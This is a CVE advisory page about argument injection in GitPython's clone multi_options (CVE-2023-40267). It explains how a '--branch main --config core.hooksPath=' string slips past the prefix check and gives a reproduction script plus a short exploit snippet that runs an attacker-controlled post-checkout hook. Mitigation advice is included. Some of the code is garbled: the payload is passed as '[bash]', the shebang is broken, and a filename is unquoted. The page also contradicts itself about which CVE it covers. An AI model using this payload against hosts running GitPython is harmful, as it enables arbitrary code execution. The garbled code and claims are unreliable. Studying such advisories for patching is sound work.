GitPython, Argument Injection, CVE-2023-40267 (High)

Listen to this Post

The vulnerability lies in how GitPython validates multi_options before passing them to the git clone command. The `_clone()` method first builds a single string by joining the `multi_options` list with spaces, then runs `shlex.split()` on that string to produce a new argument list. Validation (using startswith) is performed on the original list, not the split result. An attacker can supply a single string like "--branch main --config core.hooksPath=/x". This string starts with --branch, which is safe, so it passes `startswith` checks. After shlex.split(), it becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. The `–config` token now reaches git, setting `core.hooksPath` to a directory controlled by the attacker. During the clone, Git executes any hook (e.g., post-checkout) in that path, leading to arbitrary command execution. The same issue affects `Submodule.update()` via clone_multi_options. The check occurs in `git/cmd.py` line 959 with option.startswith(unsafe_option). Because the malicious payload is wrapped inside a safe prefix, it bypasses detection. The PoC in the demonstrates this by embedding `–config core.hooksPath=` inside --branch main, successfully executing a `post-checkout` hook that runs `whoami` and hostname. This is identical in class to CVE-2023-40267.
Platform: GitPython
Version: Up to 3.1.32
Vulnerability: Argument injection vulnerability
Severity: High
Date: 2023-08-25

Prediction: 2023-08-25

What Undercode Say:

Check installed GitPython version
python -c "import git; print(git.<strong>version</strong>)"
Reproduce with vulnerable version (e.g., 3.1.32)
pip install GitPython==3.1.32
python -c "
import pathlib, subprocess
from git import Repo
DIR = pathlib.Path('workdir_b')
SRC = DIR/'repo'; DST = DIR/'dst'; HOOKS = DIR/'hooks'; LOG = DIR/'output.log'
SRC.mkdir(parents=True, exist_ok=True)
subprocess.run(['git', 'init', '-b', 'main'], cwd=SRC)
(SRC/'f').write_text('x')
subprocess.run(['git', 'add', '.'], cwd=SRC)
subprocess.run(['git', 'commit', '-m', 'init'], cwd=SRC)
HOOKS.mkdir(exist_ok=True)
(HOOKS/'post-checkout').write_text('!/bin/sh\nwhoami > output.log\nhostname >> output.log')
(HOOKS/'post-checkout').chmod(0o755)
payload = '--branch main --config core.hooksPath=' + HOOKS.as_posix()
Repo.clone_from(str(SRC), str(DST), multi_options=[bash])
subprocess.run(['git', 'checkout', '--force', 'main'], cwd=DST)
print('Hook executed:', (DST/output.log).exists())
"

Exploit:

payload = "--branch main --config core.hooksPath=/attacker/hooks"
Repo.clone_from(url, dst, multi_options=[bash])
Attacker creates post-checkout hook in /attacker/hooks

Protection from this CVE:

  • Upgrade GitPython to >=3.1.33
  • Never pass unsanitized user input to `multi_options`
    – Use allowlist of safe arguments instead of blocklist
  • Manually validate after `shlex.split()` before execution

Impact:

Arbitrary code execution on the host running GitPython. An attacker can gain full control by executing malicious Git hooks during clone or submodule update, leading to data theft, persistence, or lateral movement.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top